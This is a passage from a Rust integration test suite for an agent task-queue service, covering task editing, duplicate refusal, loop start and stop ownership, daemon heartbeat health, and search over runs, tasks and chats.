17768        );
17769        assert_eq!(
17770            queue.get(&task.id).expect("reload").priority,
17771            0,
17772            "the refused write must not partially apply"
17773        );
17774    }
17775
17776    #[tokio::test]
17777    async fn editing_replaces_title_and_instruction_and_keeps_id_created_at_source_and_runs() {
17778        let f = Fixture::start().await;
17779        let queue = f.queue();
17780        let mut task = Task::new(
17781            "old title".to_owned(),
17782            "old instruction".to_owned(),
17783            PathBuf::from("/repo/magi"),
17784            Source::Agent {
17785                run: "20260101-000000-beef".to_owned(),
17786                node: "implement".to_owned(),
17787            },
17788        );
17789        task.runs.push("20260101-000000-beef".to_owned());
17790        queue.put(&mut task).expect("file the task");
17791        let created_at = task.created_at;
17792
17793        let edited = f
17794            .post(
17795                &format!("/api/queue/{}/edit", task.id),
17796                Some(r#"{"title":"new title","instruction":"new instruction"}"#),
17797            )
17798            .await;
17799        assert_eq!(edited.status, 200, "{}", edited.body);
17800        let body = edited.json();
17801        assert_eq!(body["title"], "new title");
17802        assert_eq!(body["instruction"], "new instruction");
17803        assert_eq!(body["id"], task.id, "editing must not mint a new id");
17804        assert_eq!(body["created_at"], created_at.to_string());
17805        assert_eq!(
17806            body["source"]["kind"], "agent",
17807            "editing a task an agent filed must not turn it human: {body}"
17808        );
17809        assert_eq!(body["runs"], serde_json::json!(["20260101-000000-beef"]));
17810
17811        let reloaded = queue.get(&task.id).expect("reload");
17812        assert_eq!(reloaded.title, "new title");
17813        assert_eq!(reloaded.instruction, "new instruction");
17814    }
17815
17816    #[tokio::test]
17817    async fn editing_in_a_duplicate_is_a_409_naming_the_match_until_forced() {
17818        // The judge is an agent now: a repo whose only agent answers
17819        // "duplicate" stands in for it, so the refusal is the judge's.
17820        let tmp = TempDir::new().expect("tempdir");
17821        let repo = tmp.path().join("repo");
17822        std::fs::create_dir_all(&repo).expect("repo dir");
17823        let judge = MOCK_AGENT_TOML.replace(
17824            "printf ok",
17825            r#"printf '{\"duplicate\":true,\"reason\":\"same branch\"}'"#,
17826        );
17827        std::fs::write(repo.join("magi.toml"), judge).expect("write magi.toml");
17828        let f = Fixture::with_repo(repo.clone()).await;
17829        let queue = f.queue();
17830        let mut owner = Task::new(
17831            "owner".to_owned(),
17832            "review it".to_owned(),
17833            repo.clone(),
17834            Source::Human,
17835        );
17836        owner.review_branch = Some("magi/ab12/A".to_owned());
17837        queue.put(&mut owner).expect("file the owner");
17838        let mut task = Task::new(
17839            "draft".to_owned(),
17840            "old".to_owned(),
17841            repo.clone(),
17842            Source::Human,
17843        );
17844        queue.put(&mut task).expect("file the draft");
17845        let url = format!("/api/queue/{}/edit", task.id);
17846
17847        let refused = f
17848            .post(
17849                &url,
17850                Some(r#"{"title":"t","instruction":"land magi/ab12/A"}"#),
17851            )
17852            .await;
17853        assert_eq!(refused.status, 409, "{}", refused.body);
17854        let msg = refused.json()["error"]
17855            .as_str()
17856            .unwrap_or_default()
17857            .to_owned();
17858        assert!(
17859            msg.contains("magi/ab12/A") && msg.contains("force"),
17860            "{msg}"
17861        );
17862        assert_eq!(queue.get(&task.id).expect("reload").instruction, "old");
17863
17864        let forced = f
17865            .post(
17866                &url,
17867                Some(r#"{"title":"t","instruction":"land magi/ab12/A","force":true}"#),
17868            )
17869            .await;
17870        assert_eq!(forced.status, 200, "{}", forced.body);
17871    }
17872
17873    #[tokio::test]
17874    async fn editing_a_running_task_is_refused_with_a_reason_in_the_response() {
17875        let f = Fixture::start().await;
17876        let queue = f.queue();
17877        let mut task = Task::new(
17878            "in flight".to_owned(),
17879            "do not touch".to_owned(),
17880            PathBuf::from("/repo/magi"),
17881            Source::Human,
17882        );
17883        task.start("20260902-140502-bbbb".to_owned());
17884        queue.put(&mut task).expect("file the task");
17885
17886        let res = f
17887            .post(
17888                &format!("/api/queue/{}/edit", task.id),
17889                Some(r#"{"title":"x","instruction":"y"}"#),
17890            )
17891            .await;
17892        assert_eq!(res.status, 400, "{}", res.body);
17893        assert!(
17894            res.json()["error"]
17895                .as_str()
17896                .is_some_and(|e| e.contains("running")),
17897            "{}",
17898            res.body
17899        );
17900        assert_eq!(
17901            queue.get(&task.id).expect("reload").instruction,
17902            "do not touch",
17903            "the refused edit must not change the file"
17904        );
17905    }
17906
17907    #[tokio::test]
17908    async fn a_claimed_task_refuses_priority_and_edit_the_same_way_it_refuses_hold() {
17909        let f = Fixture::start().await;
17910        let queue = f.queue();
17911        let mut task = Task::new(
17912            "busy".to_owned(),
17913            "Running right now".to_owned(),
17914            PathBuf::from("/repo/magi"),
17915            Source::Human,
17916        );
17917        queue.put(&mut task).expect("file the task");
17918        let _claim = queue.claim(&task.id).expect("stand in for the daemon");
17919
17920        let priority = f
17921            .post(
17922                &format!("/api/queue/{}/priority", task.id),
17923                Some(r#"{"priority":9}"#),
17924            )
17925            .await;
17926        assert_eq!(priority.status, 409, "{}", priority.body);
17927
17928        let edit = f
17929            .post(
17930                &format!("/api/queue/{}/edit", task.id),
17931                Some(r#"{"title":"x","instruction":"y"}"#),
17932            )
17933            .await;
17934        assert_eq!(edit.status, 409, "{}", edit.body);
17935    }
17936
17937    #[tokio::test]
17938    async fn done_from_the_phone_keeps_runs_source_and_created_at_unlike_delete() {
17939        let f = Fixture::start().await;
17940        let queue = f.queue();
17941        let mut task = Task::new(
17942            "shipped by hand".to_owned(),
17943            "merged outside the loop".to_owned(),
17944            PathBuf::from("/repo/magi"),
17945            Source::Agent {
17946                run: "20260101-000000-b455".to_owned(),
17947                node: "implement".to_owned(),
17948            },
17949        );
17950        task.runs.push("20260101-000000-b455".to_owned());
17951        task.runs.push("20260101-000000-9af4".to_owned());
17952        queue.put(&mut task).expect("file the task");
17953        let created_at = task.created_at;
17954
17955        let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
17956        assert_eq!(done.status, 200, "{}", done.body);
17957        assert_eq!(done.json()["status_str"], "done");
17958
17959        let reloaded = queue.get(&task.id).expect("a done task is still on disk");
17960        assert_eq!(
17961            reloaded.runs,
17962            ["20260101-000000-b455", "20260101-000000-9af4"]
17963        );
17964        assert_eq!(
17965            reloaded.source,
17966            Source::Agent {
17967                run: "20260101-000000-b455".to_owned(),
17968                node: "implement".to_owned(),
17969            }
17970        );
17971        assert_eq!(reloaded.created_at, created_at);
17972    }
17973
17974    #[tokio::test]
17975    async fn closing_a_held_task_as_done_from_the_phone_clears_its_hold_reason() {
17976        // `done` is allowed on any status, including `held`, with no release
17977        // in between - so a task held for a reason and then closed directly
17978        // must not keep reading as "waiting on" it afterwards, on its card or
17979        // in `magi task show`.
17980        let f = Fixture::start().await;
17981        let queue = f.queue();
17982        let mut task = Task::new(
17983            "landed while held".to_owned(),
17984            "x".to_owned(),
17985            PathBuf::from("/repo/magi"),
17986            Source::Human,
17987        );
17988        task.hold_manual(Some("waiting on 3ed9".to_owned()));
17989        queue.put(&mut task).expect("file the held task");
17990
17991        let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
17992        assert_eq!(done.status, 200, "{}", done.body);
17993        assert_eq!(done.json()["status_str"], "done");
17994        assert!(
17995            done.json()["hold_reason"].is_null(),
17996            "a done task cannot still be waiting on something: {}",
17997            done.body
17998        );
17999    }
18000
18001    #[tokio::test]
18002    async fn done_from_the_phone_supersedes_an_earlier_blocked_attempt() {
18003        // `queue_done` is the phone's way to close a task the loop never
18004        // settled itself - after confirming a manual GitHub merge, say - and
18005        // that is just as much "this task's story is over" as the loop's own
18006        // `Merged`/`Ready` path, so it must trigger the same cleanup.
18007        let f = Fixture::start().await;
18008        let queue = f.queue();
18009        let runs = f.runs();
18010        write_run(&runs, "20260101-000000-doa1", RunStatus::Blocked);
18011        // The last attempt has to have actually landed for the earlier one
18012        // to count as superseded - see `done_from_the_phone_does_not_supersede_when_the_last_attempt_never_landed`
18013        // for the case where it didn't.
18014        write_run(&runs, "20260101-000000-doa2", RunStatus::Merged);
18015
18016        let mut task = Task::new(
18017            "landed by hand".to_owned(),
18018            "x".to_owned(),
18019            PathBuf::from("/repo/magi"),
18020            Source::Human,
18021        );
18022        task.runs.push("20260101-000000-doa1".to_owned());
18023        task.runs.push("20260101-000000-doa2".to_owned());
18024        queue.put(&mut task).expect("file the task");
18025
18026        let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
18027        assert_eq!(done.status, 200, "{}", done.body);
18028
18029        let reloaded_run = read_run(&runs, "20260101-000000-doa1")
18030            .expect("run still on disk under this fixture's own home");
18031        assert_eq!(
18032            reloaded_run.status,
18033            RunStatus::Superseded,
18034            "closing the task by hand must relabel the earlier blocked attempt exactly \
18035             like the loop's own settle path does"
18036        );
18037    }
18038
18039    #[tokio::test]
18040    async fn done_from_the_phone_does_not_supersede_when_the_last_attempt_never_landed() {
18041        // Closing a task by hand is allowed from any status, including one
18042        // whose last recorded attempt is itself still `Blocked`/`Failed` - a
18043        // manual merge the loop never watched, say. Nothing here is provably
18044        // why the task is done, so nothing earlier gets relabelled either.
18045        let f = Fixture::start().await;
18046        let queue = f.queue();
18047        let runs = f.runs();
18048        write_run(&runs, "20260101-000000-dob1", RunStatus::Blocked);
18049        write_run(&runs, "20260101-000000-dob2", RunStatus::Failed);
18050
18051        let mut task = Task::new(
18052            "closed with nothing actually landed".to_owned(),
18053            "x".to_owned(),
18054            PathBuf::from("/repo/magi"),
18055            Source::Human,
18056        );
18057        task.runs.push("20260101-000000-dob1".to_owned());
18058        task.runs.push("20260101-000000-dob2".to_owned());
18059        queue.put(&mut task).expect("file the task");
18060
18061        let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
18062        assert_eq!(done.status, 200, "{}", done.body);
18063
18064        let reloaded_run = read_run(&runs, "20260101-000000-dob1")
18065            .expect("run still on disk under this fixture's own home");
18066        assert_eq!(
18067            reloaded_run.status,
18068            RunStatus::Blocked,
18069            "the last recorded attempt never landed, so the earlier one must not be \
18070             relabelled as superseded by it"
18071        );
18072    }
18073
18074    #[tokio::test]
18075    async fn unknown_ids_are_json_not_found_on_both_stores() {
18076        let f = Fixture::start().await;
18077
18078        let run = f.get("/api/runs/nosuchrun").await;
18079        let task = f.post("/api/queue/nosuchtask/hold", None).await;
18080
18081        assert_eq!(run.status, 404);
18082        assert_eq!(task.status, 404);
18083        assert!(
18084            run.json()["error"]
18085                .as_str()
18086                .is_some_and(|e| e.contains("run")),
18087            "the error names what was not found: {}",
18088            run.body
18089        );
18090        assert!(
18091            task.json()["error"]
18092                .as_str()
18093                .is_some_and(|e| e.contains("task")),
18094            "the error names what was not found: {}",
18095            task.body
18096        );
18097    }
18098
18099    #[tokio::test]
18100    async fn the_daemon_counts_as_running_only_while_its_heartbeat_is_fresh() {
18101        let f = Fixture::start().await;
18102
18103        let missing = f.get("/api/health").await.json();
18104        assert_eq!(missing["daemon"]["running"], false, "no file, no daemon");
18105
18106        write_daemon(
18107            f.home.path(),
18108            Timestamp::now() - jiff::SignedDuration::from_secs(60),
18109        );
18110        let stale = f.get("/api/health").await.json();
18111        assert_eq!(
18112            stale["daemon"]["running"], false,
18113            "a minute without a heartbeat is a dead daemon, not a busy one"
18114        );
18115        assert!(
18116            stale["daemon"]["stale_for_secs"]
18117                .as_i64()
18118                .is_some_and(|s| s >= 55),
18119            "staleness is reported so the UI can say how long: {stale}"
18120        );
18121
18122        write_daemon(f.home.path(), Timestamp::now());
18123        let fresh = f.get("/api/health").await.json();
18124        assert_eq!(fresh["daemon"]["running"], true);
18125        assert_eq!(fresh["daemon"]["idle"], false);
18126        assert_eq!(fresh["daemon"]["pid"], 4242);
18127        assert_eq!(fresh["daemon"]["completed"], 7);
18128        assert_eq!(
18129            fresh["daemon"]["current"][0]["task"],
18130            "20260902-140501-aaaa"
18131        );
18132        assert_eq!(fresh["version"], env!("CARGO_PKG_VERSION"));
18133    }
18134
18135    #[tokio::test]
18136    async fn the_loop_is_not_running_until_something_starts_it() {
18137        let f = Fixture::start().await;
18138
18139        let view = f.get("/api/loop").await.json();
18140        assert_eq!(view["running"], false);
18141        assert_eq!(
18142            view["owned"], false,
18143            "nobody owns a loop that does not exist: {view}"
18144        );
18145        assert_eq!(view["stopping"], false);
18146        assert_eq!(view["last_error"], Value::Null);
18147        assert_eq!(view["daemon"]["running"], false);
18148        assert_eq!(
18149            view["repo"], "/repo/magi",
18150            "the repository a start would use, named before it is started"
18151        );
18152    }
18153
18154    #[tokio::test]
18155    async fn starting_the_loop_runs_it_in_this_process_and_health_says_the_same() {
18156        let f = Fixture::start().await;
18157
18158        let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
18159        assert_eq!(res.status, 200, "{}", res.body);
18160        let view = res.json();
18161        assert_eq!(view["running"], true);
18162        assert_eq!(
18163            view["owned"], true,
18164            "the loop the UI started is the UI's own to stop: {view}"
18165        );
18166        assert_eq!(
18167            view["merge"],
18168            Value::Null,
18169            "no override was given, so each repository's own config decides"
18170        );
18171
18172        // The same object from the route a waking phone polls first. Two
18173        // surfaces disagreeing about whether anything is running is exactly
18174        // the confusion this UI exists to remove.
18175        let health = f.get("/api/health").await.json();
18176        assert_eq!(health["loop"]["running"], true, "{health}");
18177        assert_eq!(health["loop"]["owned"], true, "{health}");
18178
18179        f.post("/api/loop", Some(r#"{"running":false}"#)).await;
18180    }
18181
18182    #[tokio::test]
18183    async fn a_second_start_is_refused_rather_than_racing_the_first_for_claims() {
18184        let f = Fixture::start().await;
18185        let first = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
18186        assert_eq!(first.status, 200, "{}", first.body);
18187
18188        let again = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
18189        assert_eq!(
18190            again.status, 409,
18191            "two loops on one queue race for the same claims: {}",
18192            again.body
18193        );
18194        assert!(
18195            again.json()["error"]
18196                .as_str()
18197                .is_some_and(|e| e.contains("already running the loop")),
18198            "the refusal has to say why: {}",
18199            again.body
18200        );
18201        assert_eq!(
18202            f.get("/api/loop").await.json()["running"],
18203            true,
18204            "and the loop that was already running is untouched by it"
18205        );
18206
18207        f.post("/api/loop", Some(r#"{"running":false}"#)).await;
18208    }
18209
18210    #[tokio::test]
18211    async fn stopping_answers_at_once_and_the_loop_settles_stopped() {
18212        let f = Fixture::start().await;
18213        f.post("/api/loop", Some(r#"{"running":true}"#)).await;
18214
18215        let res = f.post("/api/loop", Some(r#"{"running":false}"#)).await;
18216        assert_eq!(
18217            res.status, 200,
18218            "the answer must not wait for the loop: a run in flight is tens of \
18219             minutes and the operator is holding a phone: {}",
18220            res.body
18221        );
18222
18223        let view = settled(&f, |v| v["running"] == false).await;
18224        assert_eq!(view["owned"], false);
18225        assert_eq!(
18226            view["stopping"], false,
18227            "a loop that has stopped is not still stopping: {view}"
18228        );
18229        assert_eq!(
18230            view["last_error"],
18231            Value::Null,
18232            "a loop that was asked to stop did not fail: {view}"
18233        );
18234
18235        // Idempotent, because the operator cannot tell a slow stop from a lost
18236        // one and will press it again.
18237        let twice = f.post("/api/loop", Some(r#"{"running":false}"#)).await;
18238        assert_eq!(twice.status, 200, "{}", twice.body);
18239    }
18240
18241    #[tokio::test]
18242    async fn a_loop_another_process_owns_can_be_neither_started_nor_stopped_here() {
18243        let f = Fixture::start().await;
18244        // How the operator has been doing it: a `magi serve` of their own,
18245        // heartbeat fresh, in the same home this UI reads.
18246        write_daemon(f.home.path(), Timestamp::now());
18247
18248        let view = f.get("/api/loop").await.json();
18249        assert_eq!(view["running"], false, "not in this process: {view}");
18250        assert_eq!(view["owned"], false, "and not this process's to control");
18251        assert_eq!(
18252            view["daemon"]["running"], true,
18253            "but a loop is alive somewhere, which is what the UI must say"
18254        );
18255        assert_eq!(view["daemon"]["pid"], 4242);
18256
18257        for body in [r#"{"running":true}"#, r#"{"running":false}"#] {
18258            let res = f.post("/api/loop", Some(body)).await;
18259            assert_eq!(
18260                res.status, 409,
18261                "neither button may pretend to work on someone else's loop: {}",
18262                res.body
18263            );
18264            assert!(
18265                res.json()["error"]
18266                    .as_str()
18267                    .is_some_and(|e| e.contains("4242")),
18268                "the refusal has to name the process the operator must go to: {}",
18269                res.body
18270            );
18271        }
18272        assert_eq!(
18273            f.get("/api/loop").await.json()["running"],
18274            false,
18275            "and the refusal started nothing"
18276        );
18277    }
18278
18279    #[tokio::test]
18280    async fn a_stale_status_file_is_not_a_foreign_owner() {
18281        let f = Fixture::start().await;
18282        write_daemon(
18283            f.home.path(),
18284            Timestamp::now() - jiff::SignedDuration::from_secs(60),
18285        );
18286
18287        let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
18288        assert_eq!(
18289            res.status, 200,
18290            "a daemon killed a minute ago must not lock the loop out of its \
18291             own home for good: {}",
18292            res.body
18293        );
18294        assert_eq!(res.json()["running"], true);
18295
18296        f.post("/api/loop", Some(r#"{"running":false}"#)).await;
18297    }
18298
18299    #[tokio::test]
18300    async fn loop_rev_moves_on_a_start_so_a_phone_learns_without_polling() {
18301        let f = Fixture::start().await;
18302        let before = f.get("/api/health").await.json()["loop_rev"]
18303            .as_u64()
18304            .expect("a loop revision");
18305
18306        f.post("/api/loop", Some(r#"{"running":true}"#)).await;
18307
18308        let after = f.get("/api/health").await.json()["loop_rev"]
18309            .as_u64()
18310            .expect("a loop revision");
18311        assert!(
18312            after > before,
18313            "the loop is in-process state, so this counter is the only thing \
18314             that tells a second device the first one started it: {before} -> \
18315             {after}"
18316        );
18317
18318        f.post("/api/loop", Some(r#"{"running":false}"#)).await;
18319    }
18320
18321    #[tokio::test]
18322    async fn a_loop_that_failed_says_why_and_does_not_read_as_running() {
18323        let f = Fixture::with_loop(launch_broken).await;
18324
18325        let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
18326        assert_eq!(
18327            res.status, 200,
18328            "starting it is not the failure: {}",
18329            res.body
18330        );
18331
18332        let view = settled(&f, |v| v["last_error"].is_string()).await;
18333        assert_eq!(
18334            view["running"], false,
18335            "a loop that died must not read as running, or the operator has \
18336             nothing to press: {view}"
18337        );
18338        assert_eq!(view["owned"], false);
18339        assert!(
18340            view["last_error"]
18341                .as_str()
18342                .is_some_and(|e| e.contains("read-only file system")),
18343            "the phone is where a loop that died at 3am is visible: {view}"
18344        );
18345
18346        // And it can be started again: the corpse was reaped, not left to
18347        // occupy the slot.
18348        let again = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
18349        assert_eq!(again.status, 200, "{}", again.body);
18350        assert!(
18351            again.json()["last_error"]
18352                .as_str()
18353                .is_none_or(|e| !e.contains("read-only file system")),
18354            "a fresh start does not keep showing why the last one died: {}",
18355            again.body
18356        );
18357    }
18358
18359    #[tokio::test]
18360    async fn a_newer_daemon_status_file_still_renders() {
18361        let f = Fixture::start().await;
18362        // A field this build has never heard of must not turn the status line
18363        // into a 500; that is the whole reason the reader is permissive.
18364        std::fs::write(
18365            f.home.path().join("daemon.json"),
18366            serde_json::json!({
18367                "schema": 2,
18368                "updated_at": Timestamp::now().to_string(),
18369                "idle": true,
18370                "surprise": { "nested": [1, 2, 3] },
18371            })
18372            .to_string(),
18373        )
18374        .expect("write daemon.json");
18375
18376        let health = f.get("/api/health").await;
18377
18378        assert_eq!(health.status, 200);
18379        assert_eq!(health.json()["daemon"]["running"], true);
18380    }
18381
18382    #[tokio::test]
18383    async fn a_corrupt_run_is_skipped_in_the_list_and_explained_on_its_own_route() {
18384        let f = Fixture::start().await;
18385        write_run(&f.runs(), "20260902-140501-good", RunStatus::Ready);
18386        let broken = f.runs().join("20260902-140502-bad");
18387        std::fs::create_dir_all(&broken).expect("run dir");
18388        std::fs::write(broken.join("run.json"), "{ truncated").expect("write run.json");
18389
18390        let list = f.get("/api/runs").await;
18391        let detail = f.get("/api/runs/20260902-140502-bad").await;
18392
18393        assert_eq!(list.status, 200);
18394        let listed = list.json();
18395        let ids: Vec<&str> = listed
18396            .as_array()
18397            .expect("an array")
18398            .iter()
18399            .map(|r| r["id"].as_str().expect("an id"))
18400            .collect();
18401        assert_eq!(
18402            ids,
18403            vec!["20260902-140501-good"],
18404            "one unreadable run must not cost the operator the whole history"
18405        );
18406        assert_eq!(detail.status, 500);
18407        assert!(
18408            detail.json()["error"]
18409                .as_str()
18410                .is_some_and(|e| e.contains("run.json")),
18411            "the failure names the file to look at: {}",
18412            detail.body
18413        );
18414        // A skipped run has to be countable somewhere, or the UI shows an
18415        // empty history with nothing to explain it - which is exactly what a
18416        // directory full of older-schema runs looks like.
18417        let health = f.get("/api/health").await;
18418        assert_eq!(health.json()["runs_unreadable"], 1);
18419    }
18420
18421    /// Search matches nested run text, ANDs its terms and counts unreadable runs.
18422    #[tokio::test]
18423    async fn search_finds_nested_run_text_ands_terms_and_counts_unreadable() {
18424        let f = Fixture::start().await;
18425        let runs = f.runs();
18426        write_run(&runs, "20260902-140501-aaaa", RunStatus::Merged);
18427        write_run(&runs, "20260902-140502-bbbb", RunStatus::Merged);
18428        // Text three levels down, in a shape no current RunState has: an older
18429        // schema must still search.
18430        let path = runs.join("20260902-140502-bbbb").join("run.json");
18431        let mut v: serde_json::Value =
18432            serde_json::from_str(&std::fs::read_to_string(&path).unwrap()).unwrap();
18433        v["legacy"] = serde_json::json!({ "rounds": [{ "finding": { "text": "The Quokka leaks\nacross threads" } }] });
18434        std::fs::write(&path, v.to_string()).unwrap();
18435        std::fs::create_dir_all(runs.join("20260902-140503-cccc")).unwrap();
18436        std::fs::write(
18437            runs.join("20260902-140503-cccc").join("run.json"),
18438            "{ not json",
18439        )
18440        .unwrap();
18441
18442        let res = f.get("/api/search?scope=runs&q=quokka").await;
18443        assert_eq!(res.status, 200, "{}", res.body);
18444        let v = res.json();
18445        assert_eq!(v["total"], 1, "{v}");
18446        assert_eq!(v["hits"][0]["id"], "20260902-140502-bbbb");
18447        assert_eq!(v["hits"][0]["field"], "text");
18448        assert_eq!(v["unreadable"], 1, "an unparsable run is counted: {v}");
18449        let parts = v["hits"][0]["snippet"].as_array().unwrap();
18450        assert!(
18451            parts
18452                .iter()
18453                .any(|p| p["hit"] == true && p["text"] == "Quokka"),
18454            "{v}"
18455        );
18456        let flat: String = parts.iter().map(|p| p["text"].as_str().unwrap()).collect();
18457        assert_eq!(
18458            flat, "The Quokka leaks across threads",
18459            "whitespace is collapsed"
18460        );
18461
18462        // Terms are ANDed, across different fields, case-insensitively.
18463        let both = f
18464            .get("/api/search?scope=runs&q=MOBILE%20quokka")
18465            .await
18466            .json();
18467        assert_eq!(both["total"], 1, "{both}");
18468        let neither = f
18469            .get("/api/search?scope=runs&q=quokka%20zebra")
18470            .await
18471            .json();
18472        assert_eq!(neither["total"], 0, "{neither}");
18473        // Everything in the task statement is reachable, not only the row text.
18474        let stmt = f
18475            .get("/api/search?scope=runs&q=mobile%20first")
18476            .await
18477            .json();
18478        assert_eq!(stmt["total"], 2, "{stmt}");
18479        let by_id = f.get("/api/search?scope=runs&q=140501-aaaa").await.json();
18480        assert_eq!(by_id["hits"][0]["id"], "20260902-140501-aaaa", "{by_id}");
18481    }
18482
18483    #[test]
18484    fn snippet_ignores_terms_longer_than_the_field() {
18485        let terms = ["ok".to_owned(), "elephant".to_owned()];
18486        let parts = snippet_of("ok", &terms);
18487        assert_eq!(
18488            parts,
18489            vec![SnippetPart {
18490                text: "ok".to_owned(),
18491                hit: true
18492            }]
18493        );
18494    }
18495
18496    #[test]
18497    fn snippet_marks_matches_longer_than_the_window() {
18498        let cap = SNIPPET_BEFORE + SNIPPET_AFTER + 2;
18499        let hit_len = |parts: &[SnippetPart]| -> usize {
18500            parts
18501                .iter()
18502                .filter(|p| p.hit)
18503                .map(|p| p.text.chars().count())
18504                .sum()
18505        };
18506        let total =
18507            |parts: &[SnippetPart]| -> usize { parts.iter().map(|p| p.text.chars().count()).sum() };
18508
18509        let long = "a".repeat(120);
18510        let parts = snippet_of(&long, std::slice::from_ref(&long));
18511        assert!(hit_len(&parts) > 0, "{parts:?}");
18512        assert!(total(&parts) <= cap);
18513
18514        let ja = "あ".repeat(130);
18515        let parts = snippet_of(&ja, std::slice::from_ref(&ja));
18516        assert!(hit_len(&parts) > 0, "{parts:?}");
18517        assert!(total(&parts) <= cap);
18518
18519        // A short hit, then one straddling the window's end.
18520        let text = format!("ab {} ab{}", "x".repeat(90), "c".repeat(100));
18521        let term = format!("ab{}", "c".repeat(100));
18522        let parts = snippet_of(&text, &["ab ".to_owned(), term]);
18523        assert!(parts.iter().filter(|p| p.hit).count() >= 2, "{parts:?}");
18524        assert!(total(&parts) <= cap);
18525
18526        // Only the head matches: not highlighted.
18527        let text = format!("{}z", "a".repeat(119));
18528        let parts = snippet_of(&text, &["a".repeat(120)]);
18529        assert_eq!(hit_len(&parts), 0, "{parts:?}");
18530    }
18531
18532    #[tokio::test]
18533    async fn search_caps_hits_and_snippet_length() {
18534        let f = Fixture::start().await;
18535        let runs = f.runs();
18536        for n in 0..(SEARCH_MAX_HITS + 5) {
18537            write_run(&runs, &format!("20260902-140501-{n:04}"), RunStatus::Merged);
18538        }
18539        let v = f.get("/api/search?scope=runs&q=web").await.json();
18540        assert_eq!(v["hits"].as_array().unwrap().len(), SEARCH_MAX_HITS);
18541        assert_eq!(v["total"], SEARCH_MAX_HITS + 5);
18542        assert_eq!(v["truncated"], true);
18543        // Every listed run hit carries its list row for the page's filters.
18544        assert!(
18545            v["hits"]
18546                .as_array()
18547                .unwrap()
18548                .iter()
18549                .all(|h| h["run"]["status"] == "merged")
18550        );
18551
18552        let long = format!("{}needle{}", "x".repeat(5000), "y".repeat(5000));
18553        let parts = snippet_of(&long, &["needle".to_owned()]);
18554        let len: usize = parts.iter().map(|p| p.text.chars().count()).sum();
18555        assert!(len <= SNIPPET_BEFORE + SNIPPET_AFTER + 2, "{len}");
18556        assert!(parts.iter().any(|p| p.hit && p.text == "needle"));
18557    }
18558
18559    #[tokio::test]
18560    async fn search_tasks_reads_every_field_and_rejects_bad_requests() {
18561        let f = Fixture::start().await;
18562        let queue = f.queue();
18563        let mut t = Task::new(
18564            "short title".to_owned(),
18565            "line one\nthe hidden Armadillo detail".to_owned(),
18566            PathBuf::from("/repo/magi"),
18567            Source::Agent {
18568                run: "r1".to_owned(),
18569                node: "chat".to_owned(),
18570            },
18571        );
18572        t.last_error = Some("disk full on /tmp".to_owned());
18573        queue.put(&mut t).expect("file the task");
18574
18575        for (q, want) in [
18576            ("armadillo", 1),
18577            ("disk%20FULL", 1),
18578            ("chat", 1),
18579            ("queued", 1),
18580            ("short%20nothing", 0),
18581        ] {
18582            let v = f
18583                .get(&format!("/api/search?scope=tasks&q={q}"))
18584                .await
18585                .json();
18586            assert_eq!(v["total"], want, "{q}: {v}");
18587        }
18588        for bad in [
18589            "/api/search?scope=tasks&q=",
18590            "/api/search?scope=tasks&q=%20",
18591            "/api/search?scope=chats&q=",
18592            "/api/search?scope=chats&q=%20",
18593            "/api/search?scope=nope&q=a",
18594            "/api/search?q=a",
18595        ] {
18596            assert_eq!(f.get(bad).await.status, 400, "{bad}");
18597        }
18598    }
18599
18600    /// Write one conversation file the way the store reads it back.
18601    fn write_talk(f: &Fixture, id: &str, status: &str, turns: &[(&str, &str)]) {
18602        let seat = serde_json::to_value(crate::agent::SeatState::new("talk", "claude", 1))
18603            .expect("seat value");
18604        let turns: Vec<serde_json::Value> = turns
18605            .iter()
18606            .map(|(who, body)| {
18607                serde_json::json!({"who": who, "body": body, "at": "2026-09-01T00:00:00Z"})
18608            })
18609            .collect();
18610        let doc = serde_json::json!({
18611            "schema": 1, "id": id, "repo": "/SecretRepoPath", "agent": "claude-agent",
18612            "status": status, "turns": turns,
18613            "created_at": "2026-09-01T00:00:00Z", "updated_at": "2026-09-01T00:00:00Z",
18614            "seat": seat,
18615        });
18616        let dir = f.home.path().join("talks");
18617        std::fs::create_dir_all(&dir).expect("talks dir");
18618        std::fs::write(dir.join(format!("{id}.json")), doc.to_string()).expect("write talk");
18619    }
18620
18621    #[test]
18622    fn chat_search_prefers_the_saved_title_and_keeps_the_transcript() {
18623        let mut talk: Talk = serde_json::from_value(serde_json::json!({
18624            "schema": 1, "id": "20260908-205806-ab12", "repo": ".", "agent": "test",
18625            "status": "open", "turns": [{"who":"operator", "body":"古い話題", "at":"2026-09-08T20:58:02Z"}],
18626            "created_at": "2026-09-08T20:58:02Z", "updated_at": "2026-09-08T20:58:02Z",
18627            "seat": crate::agent::SeatState::new("talk", "test", 1)
18628        })).unwrap();
18629        assert_eq!(talk_search_doc(&talk)["title"], "古い話題");
18630        talk.title = Some(talk::ChatTitle {
18631            text: "最近の話題".into(),
18632            source: talk::TitleSource::Generated,
18633        });
18634        let doc = talk_search_doc(&talk);
18635        assert_eq!(doc["title"], "最近の話題");
18636        assert_eq!(doc["turns"][0]["operator"], "古い話題");
18637        talk.title.as_mut().unwrap().source = talk::TitleSource::Manual;
18638        assert_eq!(talk_search_doc(&talk)["title"], "最近の話題");
18639    }
18640
18641    #[tokio::test]
18642    async fn search_chats_reads_title_and_turns_and_counts_unreadable() {
18643        let f = Fixture::start().await;
18644        write_talk(
18645            &f,
18646            "20260901-000001-aaaa",
18647            "open",
18648            &[
18649                (
18650                    "operator",
18651                    "\n  Why does the Pangolin cache expire?\nsecond line",
18652                ),
18653                ("agent", "Because the TTL is thirty seconds."),
18654            ],
18655        );
18656        write_talk(
18657            &f,
18658            "20260901-000002-bbbb",
18659            "closed",
18660            &[("operator", "unrelated"), ("agent", "The Zebra moved on.")],
18661        );
18662        std::fs::write(f.home.path().join("talks/broken.json"), "{ nope").expect("broken");
18663
18664        let search = |q: &'static str| {
18665            let f = &f;
18666            async move {
18667                f.get(&format!("/api/search?scope=chats&q={q}"))
18668                    .await
18669                    .json()
18670            }
18671        };
18672
18673        let v = search("PANGOLIN").await;
18674        assert_eq!(v["scope"], "chats");
18675        assert_eq!(v["total"], 1, "{v}");
